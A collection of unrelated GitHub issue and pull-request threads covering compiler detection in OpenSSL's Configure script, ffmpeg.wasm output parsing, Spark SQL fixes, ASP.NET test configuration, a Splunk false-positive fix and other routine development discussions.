Configure: use a better method to identify gcc and derivates [1.0.2]

Looking for 'gcc' and 'clang' in the output from the C compiler is
uncertain.  Some versions report argv[0], which might be /usr/bin/cc
(for example), and others might mention gcc without being gcc or a
derivate.
Better then to fetch predefined macros and checking if __GNUC__ and
__clang__ are defined.

This is an alternative to #1524

I remade this entirely, using the same check of predefined macros as in master.

What is the status of this?

Merged. 78e9e3f945935c91d8dfe0e832a95d6ea8d05f34

This commit appears to break Mac OS X 10.7 (when cross-compiling for iOS or 10.5).
It used to be:
MAKEDEPPROG=makedepend
Now it's:
MAKEDEPPROG=cc
cc doesn't work well for Mac.
$predefined{GNUC} = 4

Ah, it should probably become this in that case:
MAKEDEPPROG=$(CROSS_COMPILE)cc

Let us try it and see if it works...

That basically tells me that cc on 10.7 falsely declares itself compatible with some newer gcc version...

At the very least, it's that cc can't behave as makedepend before Mac OS X 10.8 (where makedepend disappeared); cc doesn't support -M. Starting with 10.8, cc -M works as expected.

 In either case, if so desired, it would be appropriate to check even for $predefined{__APPLE_CC__} in order to decide if cc is suitable as makedepend replacement. I suppose $predefined{__APPLE_CC__} && predefined{__clang__} would be accurate enough.

The 10.8 compiler cc -dM -E -x c partial output (I have a complete list available):
#define __GNUC__ 4
#define __APPLE__ 1
#define __APPLE_CC__ 5658
#define __llvm__ 1

It does not define __clang__. Would it suffice to just check __llvm__?

Would it suffice to just check __llvm__?

It seems that I've expressed myself a bit unfortunate. It should have been "reliable enough" instead of "accurate enough". I mean reliability over accuracy in sense that it would be safer to misinterpret conditions in favour of makedepend than vice versa. In other words even if specific compiler version is capable of handling dependencies, we don't have to "feel bad" about ending up with makedepend. As long as makedepend works that is. It all boils down to question whether or not you can confirm that first version of Apple compiler that defines __llvm__ supports -M. If you can, then go for it, but if not, then it might be more appropriate to settle for more conservative __clang__ anyway...

Actually, it appears that if the Apple compiler defines __llvm__ it DOES NOT support -M, so the __llvm__ identifier would be used to maintain the value as makedepend. The Apple compiler that supports cc -M appears to define __clang__. However, I don't have all versions available to confirm this.

if the Apple compiler defines __llvm__ it DOES NOT support -M,

You probably meant that __llvm__ does not guarantee -M support. All clangs, Apple or not, do define both __clang__ and __llvm__, so you can't actually say that you can use __llvm__ to make decision about choosing makedepend. As for identifying exact version. One can take a chance of using __clang__ as marker, or one can take the least __APPLE_CC__ value you happen to have that works...

Right, unfortunately, I don't have a proper sample of compilers.

This also broke our mingw environment.
   making depend in crypto...
    ../util/domd: line 33: makedepend: command not found
     mv: cannot stat `Makefile.new': No such file or directory
     Makefile:136: recipe for target 'local_depend' failed
     mingw32-make[5]: *** [local_depend] Error 127


feat: Added display instructions for shortcuts

Closes Issue
My PR closes #419
👨💻 Changes proposed (What did you do?)

while chatting displayed the appropriate placeholder
Added display shortcuts in the dropdown

✔ Check List (Check all the applicable boxes)

[x] My code follows the code style of this project.
[x] This PR does not contain plagiarized content.
[x] The title and description of the PR is clear and explains the approach.

📷 Screenshots

https://github.com/Dun-sin/Whisper/assets/74947684/cddbb549-4fa1-4f9c-a9d1-4db4fda1bd8c

Hey @Dun-sin Greetings,
This is my first open source contribution. Hope this PR looks all good. If there is any issue please inform me so that I can rework on it.
Thank You.

You did great, thanks for contributing, I hope you will stick around and continue to contribute to this project.
Consider giving this project a star and joining the community discord server if you haven't for more resources and opportunities to connect with others. 👉🏽here👈🏽


How do I return/retrieve data such as supported fomats?

When the logger is on:
const ffmpeg = createFFmpeg({
  log: true,
  // corePath: 'https://unpkg.com/<EMAIL_ADDRESS>  logger: (msg) => {
    //log msg if type == 'ffer'
    if (msg.type === 'ffer') {
      console.log(msg.message);
    }
  },
});

And I run:
let check = await ffmpeg.run("-formats")
console.log(check)

it does return the formats in the log so the command itself works.
But How do I retrieve the data. the check variable returns undefined Which makes sense since ffmpeg.run does not return anything.

I would first store it in the FS:
await ffmpeg.run("-formats", ">", "formatList.txt")

And then read it:
let check = ffmpeg.FS('readFile', 'formatList.txt');

I tried this approach and get an FS error evrytime - the log shows the following:

I don't know what the reason for the Aborted() at the end is.
This is my code:
await ffmpeg.createDir("test");
    ffmpeg.writeFile("test/test.txt", new Uint8Array([1, 2, 3, 4, 5, 6, 7, 8, 9, 0]));
    const successVersion = await ffmpeg.exec(["-version", ">", "test/version.txt"]);

    const data = await ffmpeg.listDir("test");
    ffmpeg.readFile("test/version.txt").catch((error) => console.error(error));

The data directory does not contain the version.txt after I execute the -version command. Does somebody know why the file is not written?

I think > is not possible because thats a shell specific operation and probably not available in the ffmpeg.wasm context.
Another solution would be to use the -report option to create a log file. But in my tests the output of -formats doesn't get logged to the file regardless of the loglevel.
So I think the only way is to parse the ffmpeg.wasm logs.
First, capture the logs.
let log = "";
ffmpeg = new FFmpeg();
ffmpeg.on("log", ({ message }) => {
	log += message + "\n";
});

Second, execute the -formats command.
await ffmpeg.exec(["-formats"]);

Third, parse the logs.
const formats = getFormatsFromLog(log);

function getFormatsFromLog(log: string) {
	const formatLineRegex = /^(D|DE|E)\s+(\S+)\s+(.+)$/;
	const results = [];

	const lines = log.split("\n");

	for (const line of lines) {
		// Trim any leading or trailing whitespace
		const trimmedLine = line.trim();

		// Skip lines that don't start with 'D', 'DE', or 'E'
		if (formatLineRegex.test(trimmedLine)) {
			// Use a regex to match and capture support, abbreviation, and name
			const match = trimmedLine.match(formatLineRegex);
			if (match) {
				const [, support, abbreviation, name] = match;

				const demuxingSupported = support.includes("D");
				const muxingSupported = support.includes("E");
				results.push({
					demuxingSupported,
					muxingSupported,
					abbreviation,
					name,
				});
			}
		}
	}

	return results;
}

This output:
File formats:
 D. = Demuxing supported
 .E = Muxing supported
 --
 D  3dostr          3DO STR
  E 3g2             3GP2 (3GPP2 file format)
  E 3gp             3GP (3GPP file format)
 D  4xm             4X Technologies
  E a64             a64 - video for Commodore 64
 D  aa              Audible AA format files
 D  aac             raw ADTS AAC (Advanced Audio Coding)
 D  aax             CRI AAX
 DE ac3             raw AC-3
 ...

Will give you this array:
[
    {
        "demuxingSupported": true,
        "muxingSupported": false,
        "abbreviation": "3dostr",
        "name": "3DO STR"
    },
    {
        "demuxingSupported": false,
        "muxingSupported": true,
        "abbreviation": "3g2",
        "name": "3GP2 (3GPP2 file format)"
    },
    {
        "demuxingSupported": false,
        "muxingSupported": true,
        "abbreviation": "3gp",
        "name": "3GP (3GPP file format)"
    },
    {
        "demuxingSupported": true,
        "muxingSupported": false,
        "abbreviation": "4xm",
        "name": "4X Technologies"
    },
    {
        "demuxingSupported": false,
        "muxingSupported": true,
        "abbreviation": "a64",
        "name": "a64 - video for Commodore 64"
    },
    {
        "demuxingSupported": true,
        "muxingSupported": false,
        "abbreviation": "aa",
        "name": "Audible AA format files"
    },
    {
        "demuxingSupported": true,
        "muxingSupported": false,
        "abbreviation": "aac",
        "name": "raw ADTS AAC (Advanced Audio Coding)"
    },
    {
        "demuxingSupported": true,
        "muxingSupported": false,
        "abbreviation": "aax",
        "name": "CRI AAX"
    },
    {
        "demuxingSupported": true,
        "muxingSupported": true,
        "abbreviation": "ac3",
        "name": "raw AC-3"
    }
]

Thanks @DerStimmler, this solution works fine. It would be more comftorable if you needn't parse the logs, but I don't see any other solution here.


find_all_poles() fails if all down (up) modes don't have the same type

The way the function is defined, it can only work on diagrams with a consistent type for all up-modes, and all down-modes, separately.

Problem is in the way QuantumCumulants.jl handles cnumbers. Switching to using Symbolics.jl until the final steps.


Add/bumpversion

Add bumpversion for versioning and releases.
Temporary change to fix broken GH black action
Update black formatting to satisfy version 20

/azp run


 This was a legacy value only supported by the docker runner.
https://github.com/drone-runners/drone-runner-kube/blob/master/engine/resource/pipeline.go#L159:L161
note that the kubernetes runner is not a drop-in replacement for the docker runner. Although the yaml files may be very similar, each runner defines its own unique yaml format and the runtime behaviors will differ (such as service containers using localhost)

@ashwilliams1 so how we are supposed to build golang projects which do not have go modules?

you would use a temporary volume:
kind: pipeline
type: kubernetes
name: default

workspace:
  path: /go/src/github.com/foo/bar

steps:
- name: write
  image: golang
  volumes:
  - name: gopath
    path: /go
  commands:
  - touch /go/hello.txt

- name: read
  image: golang
  volumes:
  - name: gopath
    path: /go
  commands:
  - ls /go/hello.txt

volumes:
- name: gopath
  temp: {}

okay thanks, need to test that


Add peaks=true to all audio searches

Fixes

Fixes #1800 by @krysal
Description

Wow, I struggled to work with the media services. I cannot wait to refactor some of that code.
Anyway, this PR adds a special case to add peaks=true to all audio and related audio searches. To do so I also had to upgrade the related media method to allow for query parameters. Maybe that will be a nice addition in the future.
I'm not sure about tests here. Do we have any to verify the API endpoint paths are correct? Otherwise, this is covered by the fact that the visual regression tests would change if the peak data isn't downloaded. Still, it seems like we need better test coverage around the API endpoints in general.
Testing Instructions

Check on client-rendered searches that the peaks=true is present for all audio API search requests, and on related audio searches. Finally, make sure you see the same peaks on SSR searches.
Checklist

[ ] My pull request has a descriptive title (not a vague title like Update index.md).
[ ] My pull request targets the default branch of the repository (main) or a parent feature branch.
[ ] My commit messages follow best practices.
[ ] My code follows the established code style of the repository.
[ ] I added or updated tests for the changes I made (if applicable).
[ ] I added or updated documentation (if applicable).
[ ] I tried running the project locally and verified that there are no visible errors.

Developer Certificate of Origin

Developer Certificate of Origin
Developer Certificate of Origin
Version 1.1

Copyright (C) 2004, 2006 The Linux Foundation and its contributors.
1 Letterman Drive
Suite D4700
San Francisco, CA, 94129

Everyone is permitted to copy and distribute verbatim copies of this
license document, but changing it is not allowed.

Developer's Certificate of Origin 1.1

By making a contribution to this project, I certify that:

(a) The contribution was created in whole or in part by me and I
    have the right to submit it under the open source license
    indicated in the file; or

(b) The contribution is based upon previous work that, to the best
    of my knowledge, is covered under an appropriate open source
    license and I have the right under that license to submit that
    work with modifications, whether created in whole or in part
    by me, under the same open source license (unless I am
    permitted to submit under a different license), as indicated
    in the file; or

(c) The contribution was provided directly to me by some other
    person who certified (a), (b) or (c) and I have not modified
    it.

(d) I understand and agree that this project and the contribution
    are public and that a record of the contribution (including all
    personal information I submit with it, including my sign-off) is
    maintained indefinitely and may be redistributed consistent with
    this project or the open source license(s) involved.

Thanks for the fix, @obulat!


Enable cache mode for LayoutModes

Fixes #3447
Reverts part of #2669 to solve #3447.

@gave92 Does this change prevent loading the items into every cached layout mode instead of just the one needed? If prevented, then we can go ahead with this one 👍🏻

@gave92 Also, how can we ensure DataGrid/GridView content isn't cached in memory alongside the page?

@duke7553

Does this change prevent loading the items into every cached layout mode instead of just the one needed

Yeah, the itemsource is still cleared when switching layout or navigating to home.

Also, how can we ensure DataGrid/GridView content isn't cached in memory alongside the page?

Only one instance of GenericFileBrowser is ever created (per tab). Content remains cached as long as you keep navigating to GenericFileBrowser. I guess that if you navigate to a folder with many items and than to a folder with few items with this PR you'd see that the memory remains higher.


[CI] test_zipp_recipe_tags_on_deps fails

____________________________ test_zipp_recipe_tags_on_deps ____________________________

    def test_zipp_recipe_tags_on_deps():
        config = Configuration(name="zipp", version="3.0.0")
        recipe = GrayskullFactory.create_recipe("pypi", config)
        assert recipe["build"]["noarch"]
>       assert recipe["requirements"]["host"] == [
            "pip",
            "python >=3.6",
            "setuptools-scm >=3.4.1",
        ]
E       AssertionError: assert host: [pip, python >=3.6] == ['pip', 'pyth...-scm >=3.4.1']
E         Right contains one more item: 'setuptools-scm >=3.4.1'
E         Use -v to get more diff

tests/test_pypi.py:538: AssertionError

The test passes when running it individually
pytest tests/test_pypi.py::test_zipp_recipe_tags_on_deps

It fails when running it will the rest
pytest

Maybe related or not:
pytest tests/test_pypi.py

______________________________ test_pymc_recipe_fortran _______________________________

    @pytest.mark.serial
    @pytest.mark.xfail(
        condition=(sys.platform.startswith("win")),
        reason="Test failing on windows platform",
    )
    def test_pymc_recipe_fortran():
        recipe = GrayskullFactory.create_recipe(
            "pypi", Configuration(name="pymc", version="2.3.6")
        )
>       assert sorted(recipe["requirements"]["build"]) == sorted(
            ["<{ compiler('c') }}", "<{ compiler('fortran') }}"]
        )
E       TypeError: 'NoneType' object is not iterable

tests/test_pypi.py:484: TypeError

for some reason is not finding setuptools

gonna close this issue, if it is still happening, please feel free to reopen it and I will take a look. Thanks!


Add Browser support for FPL

Description: This PR adds support for using FPL in a browser and using the browser's IndexedDB as a PackageCache.
The BrowserBasedPackageCache class is a new PackageCache implementation that can be used to store resources in the browser's IndexedDB. Because the IndexedDB API is asynchronous, the BrowserBasedPackageCache does some extra work to ensure the synchronous methods of the PackageCache interface still work. There is an async initialize function that looks in the IndexedDB to check what packages are already loaded and saves that information to a local map, and the cachePackageTarball function stores resources in IndexedDB and to the local map. The local map is then used for the rest of the methods, like isPackageInCache, as those are all synchronous.
There were also a few other changes that were needed when using in a browser, some of which I'd like your opinion on if there's a better way around it:

https.get vs axios.get: I could not figure out how to have axios.get return something that could be unzipped in the browser. I suspect I must have missed something, but I ended up using https.get, which is what FSH Online currently uses. If anyone reviewing this has an idea of how to configure axios to get it to work with the tar-stream library or anything else to successfully unzip and get the data without a filesystem, let me know.
useHttps option in FHIRRegistryClient: When I needed to use https.get instead of axios.get, I had originally created a separate RegistryClient (a BrowserFHIRRegistryClient), but all the code was the same except for the actual GET request. Instead, I ended up adding an option to the existing FHIRRegistryClient in an effort to duplicate as little code as possible. I'm not sure if this is the best approach, so let me know what you think.
nock for the https.get calls: I could not figure out how to use Jest and spyOn and mocked implementations to successfully return responses that were like what https.get returns. I ended up using the same approach that FSH Online used, which used nock. That does add another dependency, and it feels like Jest should be able to do the same, so if you know of another way around using nock, let me know.
initialize(initSql) in SQLJSPackageDB: It turns out that I needed to pass a configuration option into initSqlJs() when initializing in the browser, so I needed to be able to initialize it in FSH Online and pass it in to SQLJSPackageDB.

Testing Instructions:
Make sure the tests reflect the expected functionality. I also pushed up a new-fpl branch on FSH Online that uses this branch. Feel free to try out using FSH Online and making sure you can download and load packages.
Related Issue:
Fixes #29

@cmoesel - I think 73ee511 addresses your comments so far. I answered one of your questions above, but happy to chat more about it.
Two other questions I have that came up while I was working on that commit:

I tried to actually spy on the initSqlJs to make sure the options were constructed correctly in the SQLJSPackageDB.initialized test, but I couldn't figure out how to correctly spy on it in the test. If you have any ideas about how to do that and think it is a good thing to test, let me know.
When I was running the tests again, I was thinking about the skipped test that I added in the BrowserBasedPackageCache suite. Is it worth having 1 skipped test in our skip report (since this is the first) just to highlight the differences between the DiskBasedPackageCache and that one? Or should I just get rid of it?

2. I don't have a strong opinion on this, but I understand your point -- and I think I agree. We probably don't need that skipped test at all, so feel free to delete it.

I commented the test out with a comment in f64fc81.

I found one other issue when using this in FSH Online that I fixed in 2617104. That commit rejects any packages that encountered an error or an error status code (like if a package can't be found because you made a typo in the Configuration in FSH Online, just as a random example and not because I just did that...). This way the error is correctly caught and handled and other packages can be downloaded.


C++ service generation, adds constants to messages, and fixes some things with existing message generation, also CI

This MR adds:

A jinja2 template for service headers
Generation of headers for services,
Generation of constant definitions
Fixes to generation of message template, including translation of ros types to C++ types and recognition of ROS intrinsic types
CI pipeline for verifying the message generation happened, was re-done in the event of changes, and that they will compile in a C++ project.

@Carter12s I'm going to need to some assistance bootstrapping the new container.

I got the docker image generated and push. Found a few issues with the github CI action, but its still not passing. Seems like a diff is actually being detected, but the "Verify no changes" step gives you 0 debug info. Would encourage us to change that step to print the diff.


Recenter map, not working/funkyness

Setup
Default center object.
center = {latitude: 1, longitude: 1};
Timer based center change to some fixed location.
center = {latitude: 19, longitude 10};
Expected
If the map was panned in the meantime it should center on the new coordinates.
Actual
OK - At the first enter in the observable  it changes to 19:10 and it triggers centerChanged.
BAD - Triggers centerChanged on map scroll longitude and latitude on object remains
unchanged after scrolling.
At this point no other observer iteration / map scroll actually changes the lat / lng values on the directive and no recenter command is sent to AGM? (not sure about the last part).
Notes
Also I saw something weird if I change only the longitude or latitude but have scrolled the map
only that axis will get pannedTo, looked over the code but it doesn't seem to be from the wrapper.
Also if I pan and I am in the middle of the animation and set the center during that time it jumps
from my new center to the last panned coordinate and keeps on going until the pan looses momentum.
Is there a way to stop this from the wrapper or I have to use the native api?
STR repo
The repo has no apikey but other than that it should be self explainatory.

@krodyrobi thanks for reporting! Found the issue and there a two solutions for it:
https://stackblitz.com/edit/angular-google-maps-demo-um2jxk?file=app%2Fapp.component.ts
There's nothing really we can change this to make it simpler. We change latitude longitude inside the map when center_changed has trigged but this won't trigger the change detection because the numbers don't change to the change detection thinks that the values of lat/lng are the same as before.
Hope this helps, feel free to reopen.

Solution B doesn't work for me, no recentering or values changed.
Solution A causes on scroll / pan weird stuttering, my guess is that change detection is going crazy.
Can you explain what exactly is happening? I tried to replicate with a small component and primitives do get seen by Angulars' change detection.
Why calling this.center = works in the event handler and not in the first place (new to Angular and I might be missing something)


change: Update Axios

Description 📝

For CVE-2023-45857 (https://github.com/linode/manager/security/dependabot/88)

[!warning]
Work in Progress

How to test 🧪

[!warning]
Work in Progress

As an Author I have considered 🤔

[ ] 👀 Doing a self review
[ ] ❔ Our contribution guidelines
[ ] 🤏 Splitting feature into small PRs
[ ] ➕ Adding a changeset
[ ] 🧪 Providing/Improving test coverage
[ ] 🔐 Removing all sensitive information from the code and PR description
[ ] 🚩 Using a feature flag to protect the release
[ ] 👣 Providing comprehensive reproduction steps
[ ] 📑 Providing or updating our documentation
[ ] 🕛 Scheduling a pair reviewing session
[ ] 📱 Providing mobile support
[ ] ♿  Providing accessibility support

Without even debugging, I already have 99% confidence that https://github.com/linode/manager/pull/9817 will resolve what's happening


Work only plugged in computer

Hello! How the camera work unplugged from computer? I am using the web_cam example. Thanks

set your ssid and password according to your wifi network

set your ssid and password according to your wifi network

I set, but when is unplugged I lose the connection. This in web_cam code example. The led blue light in this example is turn off, too. Do I have to change the script in web_cam example to work properly (with autonomy from computer)?

You have to call bat_init() in the setup function in order to keep battery on when unpugged

Thanks this work for me!


No easy way to change ASPNETCORE_ENVIRONMENT or get UserSecrets with WebApplicationTestFixture

Trying to follow https://blogs.msdn.microsoft.com/webdev/2018/03/05/asp-net-core-2-1-0-preview1-functional-testing-of-mvc-applications/
The defaults are not sensible. I should not have to do this, to just use Development, or use User Secrets:
public class MyOwnTextFixture<TStartup> : WebApplicationTestFixture<Startup> where TStartup : class
  {
          public MyOwnTextFixture() { }

          protected override void ConfigureWebHost(IWebHostBuilder builder)
          {
              builder.UseEnvironment("Development");
          }
  }

@davidfowl

@javiercn

The secrets are coming out null, and the Config object that's injected into my pages are not the same one I made before.

Adding @rynowak, just in case he may have some ideas, as @javiercn is out.

I think the proposed fix here is to use the Development environment rather than creating something new for tests. Is there anything else that was needed?
We want to also make sure that it's reasonable to set the environment as well, and add a code sample to the docs.

@rynowak There's still (I think) an underlying issue...even if I change the Environment, I can't seem to access "WebProject1"'s UserSecrets from "TestProject1." There is something there, unrelated to Environment.

We are discussing this. Will update shortly. Regarding user secrets, can it be that is looking for the user secrets for your test assembly instead of for your app assembly? I will have to look into it in more detail

I was thinking that might be the case, but I added the UserSecretsID in the
csproj.
On Tue, Apr 10, 2018 at 10:36 AM, Javier Calvarro Nelson <
<EMAIL_ADDRESS>wrote:

We are discussing this. Will update shortly. Regarding user secrets, can
it be that is looking for the user secrets for your test assembly instead
of for your app assembly? I will have to look into it in more detail
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/Mvc/issues/7587#issuecomment-380185387, or mute
the thread
https://github.com/notifications/unsubscribe-auth/AAALTIj37AFfg2Zhf0Xk9c5bmzAryb4zks5tnO2tgaJpZM4TCrg9
.

--
Scott Hanselman
Donate to fight diabetes: http://hnsl.mn/fightdiabetes

@shanselman Hey Scott, I was able to get the user secrets once I set the environment to development on my test. (I'm using preview2 for the repro).
Can you tell me more about how you were setting the environment/ping me to take a look at your app with you? It won't take us long.


Create or delete windows shares using net exe

Problem description: False positive are being triggered on commands such as net localgroup "Share Users", net use \\domain\share, etc.
Cause:
Currently the correlation search looks like this:
| tstats `security_content_summariesonly` count values(Processes.user) as
  user values(Processes.parent_process) as parent_process min(_time) as firstTime
  max(_time) as lastTime from datamodel=Endpoint.Processes where (Processs.process_name=net.exe
  OR Processes.process_name=net1.exe) by Processes.process Processes.process_name
  Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`|
  `security_content_ctime(lastTime)` | search process=*share* | `create_or_delete_windows_shares_using_net_exe_filter` '

the cause of the false positive is due to search process=*share*, which is way too broad; in fact any command using net.exe that just contains the word share would trigger an alert.
A possible solution would be to remove the part search process=*share* and add the selection directly in the where clause, e.g. where (Processs.process_name=net.exe OR Processes.process_name=net1.exe) AND (Processes.process="* share *") with space around the word in order to limit false positives.

Fixed up! Thank you @thejanit0r

Hey MHaggis, just noticed that there is a typo aswell, which I didn't notice earlier: Processs.process_name=net.exe -> Processes

Fixed again! Thank you @thejanit0r


Improve header check and update winsmcrd

Merge conflict

Didn't have one but rebased and forced push.

Updated.


Added remark about authenticationSource claim in combined local and social sign-in

A user encounters the AADB2C90037 error without this change

@kengaderdus

Can you review this PR?
IMPORTANT: When this content is ready to merge, you must add #sign-off in a comment or the approval may get overlooked.

#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

email author

@esinmy
Please check my suggested edits. If the comments make sense, commit them. I will then sign off your

@esinmy
Please check my suggested edits. If the comments make sense, commit them. I will then sign off your

@kengaderdus thank you, all's good except we lost one previous correction. It should be AAD-UserRead instead of AAD-UserUpdate.

@esinmy
Check and commit suggestion.

@esinmy
Check and commit suggestion.

@kengaderdus  thank you, all's good now!

#sign-off


caching not working on substreams with no stores

I am running substreams run --production-mode --plaintext -e localhost:9000 ipfs://qmt99y8q2xvxcajkjp5iyfy1wakegkw4svzxcusalcvxhq/ graph_out -s 6800000 -t 6810000 | grep @block and I can see that each time I run it, it kicks off the tier2 workers and updates the cache file  (this is Denis' ERC20 substream)
$ rclone lsl march:eth-sf-v4-substreams-state/dc04d620def87b6205afe1db9158d3d3fdc37e3c/outputs/0006805000-0006806000.output.zst
  4837381 2023-07-31 17:48:48.000000000<PHONE_NUMBER>-0006806000.output.zst
[re-run above sink, output is changed]
$ rclone lsl march:eth-sf-v4-substreams-state/dc04d620def87b6205afe1db9158d3d3fdc37e3c/outputs/0006805000-0006806000.output.zst
  4839797 2023-07-31 17:49:49.000000000<PHONE_NUMBER>-0006806000.output.zst

I ran this a few times, the output file size is not the same each time.  But really since it is already cached, why does it need to re-generate it at all.  (localhost:9000 is ethereum tier1 grpc).  I can see lots of load on the tier2 nodes and i/o on the s3 bucket, so it appears to re-generate every time.

This is not implemented we are tracking that separately.


Cannot embed video

I tried 2 different methods to embed a video of our deployment and couldn't get either to show up on the rendered qmd.
Please help!
https://github.com/SAEL-SWFSC/adrift-field-methods/blob/80d8940a147d5fdb137d282e3a58bf7030b14215/content/Field-Deployment.qmd#L13-L15
I used a video from our youtube channel as an example

Looks like the video feature only works with Quarto > 1.2.0, but these versions are all in pre-relase. Current release version is only 1.1.2 as of 10/27/2022. We can modify the GitHub Action to use pre-release versions of Quarto if we want to use the video feature now, but there is potential for pre-release versions to have wonky bugs. Or we can just wait til 1.2.0 is officially released.

Thanks Taiki, that's good to know. We can leave them as links for now instead of trying to integrate them into the document

We will revisit this once the new version of Quarto is released


Content

[x] Work out menus (and secondary menu items)
[x] Work out what content to completely kill
[x] Work out what content to house where
[x] Work out what content to rewrite
[x] Source images for pages
[x] Identify broken links
[x] Create redirects

(backlog clearing)


Unify form and renderer

Addresses #1123

https://user-images.githubusercontent.com/73725297/204039514-0b465231-10a6-40e1-a9e2-0f2a0e5eddaa.mp4

@Ayon95 moving forward, you can open your PR directly against this branch. That way, its much easier to launch a review app yourself


[SPARK-35906][SQL][FOLLOWUP] Recursive remove sort  if the maximum number of rows less than or equal to 1

What changes were proposed in this pull request?
Make it recursive remove sort  if the maximum number of rows less than or equal to 1. For example:
select a from (select a from values(0, 1) t(a, b) order by a) order by a

Why are the changes needed?
Fix Once strategy's idempotence is broken for batch Eliminate Sorts.
Does this PR introduce any user-facing change?
No.
How was this patch tested?
Unit test.

cc @allisonwang-db

Test build #140731 has started for PR 33240 at commit 67d37c0.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/45240/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/45240/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/45240/

Merged to master and branch-3.2.

Test build #140731 has finished for PR 33240 at commit 67d37c0.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/140731/


Dedup prefetch/partial read with full block read to reduce read amplification

Prefetch/partial/full read are three ways to read from oss. In current implementation, they may overlap with each other. On sequential read when readahead is triggered, the overlap is trivial. But on other cases, the overlap may cost extra network bandwidth.
This PR groups them in a singleflight to avoid the read amplification.

LGTM


Add a "Pull Requests" Tab

With red/yellow/green status, older PR's are red, fresher ones green.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

:tada: This PR is included in version 0.6.1 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


[SPARK-6163][SQL] jsonFile should be backed by the data source API

jira: https://issues.apache.org/jira/browse/SPARK-6163

Test build #28272 has started for   PR 4896 at commit 2e8734e.

This patch merges cleanly.

Test build #28272 has finished for   PR 4896 at commit 2e8734e.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/28272/
Test PASSed.

@yhuai What do you mean Otherwise, users cannot insert data into the DF returned by jsonFile.?

A user may use jsonFile get a DF and then register it as a temp table. He/she may then try to insert new data into this temp table. Since jsonFile is not backed by the JSON data source right now, he/she will see an exception saying that Spark SQL cannot find a physical plan for the given logical plan.

Test build #28298 has started for   PR 4896 at commit 45e023e.

This patch merges cleanly.

Test build #28298 has finished for   PR 4896 at commit 45e023e.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/28298/
Test PASSed.


Improve how users discover Appsody stacks

This epic should look to address a number of concerns around how we present the stacks to users and how they can find the stack they are after.

We have a growing list of stacks that are making the website home page longer. Especially on mobile view, we end up scrolling through the list.

We need a mechanism to clearly state which stacks are experimental vs incubator (and stable)

I think we need to have some discussion on differentiating between stable, incubator and experimental stacks and defining what these terms actually mean. Maybe we should write up some criteria?

Hopefully, this is the correct issue to post this in--here is a design for the Stacks page that allows for filtering.
There is room at the top of the page to explain what stacks are, and when each type of stack is selected information about 'Cloud Packaged' etc could also be at the top of the page.
Stack level--I'm not sure if this is the right term--any thoughts? Also, I have a tooltip to explain further what stable, incubator, and experimental mean. I don't think the user will need to constantly refer to that info (and those words are descriptive already).
Is there someone that I need to work with on copy?


This needs to be checked

Got some error on this line of the code in Sentiment.py line 788
stream.filter(follow=useridlist, languages=['en'])

what's the error? What version of Python? Try with Python 3.6.x

I have the latest Python 2.7 and 3.6 installed.
got an error stating required string got int.
as much as i can understand userlist is all integer variables but the stream.filter follow requires string input.

Just change line 462 from sentiment.py to u = line.strip().

this has been patched in v0.1-b.6


[$250] Adding an emoji doesn’t reset the scroll view, emoji is hidden

If you haven’t already, check out our contributing guidelines for onboarding and email<EMAIL_ADDRESS>to request to join our Slack channel!

Version Number: 1.4.70-2
Reproducible in staging?: Yes
Reproducible in production?: Yes
If this was caught during regression testing, add the test name, ID and link from TestRail:
Email or phone of affected tester (no customers):
Logs: https://stackoverflow.com/c/expensify/questions/4856
Expensify/Expensify Issue URL:
Issue reported by: @JmillsExpensify
Slack conversation: https://expensify.slack.com/archives/C049HHMV9SM/p1714757774028299
Action Performed:

Navigate to any chat message that doesn’t have an emoji
Open a new thread on that message
Go back to the parent message
Add an emoji

Expected Result:
When you add an emoji, the scroll position resets ever-so-slightly, so that you can see the emoji
Actual Result:
The emoji is hidden even though correctly added, because it’s below the current scroll view
Workaround:
Unknown
Platforms:

Which of our officially supported platforms is this issue occurring on?

[X] Android: Native
[X] Android: mWeb Chrome
[X] iOS: Native
[X] iOS: mWeb Safari
[X] MacOS: Chrome / Safari
[X] MacOS: Desktop

Screenshots/Videos
https://github.com/Expensify/App/assets/38435837/b740eb1d-80db-4592-8af5-0830eeb5271b
Add any screenshot/video evidence

View all open jobs on GitHub
Upwork Automation - Do Not Edit

Upwork Job URL: https://www.upwork.com/jobs/~015963598f7457d1e9
Upwork Job ID:<PHONE_NUMBER>920746496
Last Price Increase: 2024-05-07

Issue OwnerCurrent Issue Owner: @dukenv0307

I'm unable to repro this, my chat view does scroll to show the emoji automatically. I am testing on Mac/Chrome, Android/Chrome and Android/Native.

This has been labelled "Needs Reproduction". Follow the steps here: https://stackoverflowteams.com/c/expensify/questions/16989


perl: Glib 1.306 -> 1.307, Gtk2 1.2923 -> 1.2494

Bugfix for FreeBSD systems.
(Should I be bothering committers with such PRs? No idea. Have a PR.)

Travis passed, thanks.


how to use part label

there is a metric  volcano_queue_allocatable_milli_gpu{instance="<IP_ADDRESS>:30005",job="volcano-scheduler",queue_name="default"}
volcano_queue_allocatable_milli_gpu only have label queue_name and have not label kubernetes_namespace
rules:
apiVersion: v1
kind: ConfigMap
metadata:
  name: adapter-config
  namespace: custom-metrics
data:
  config.yaml: |
    rules:
    - seriesQuery: volcano_queue_allocatable_milli_gpu
      resources:
        overrides:
          kubernetes_namespace:
            resource: namespace
          queue_name:
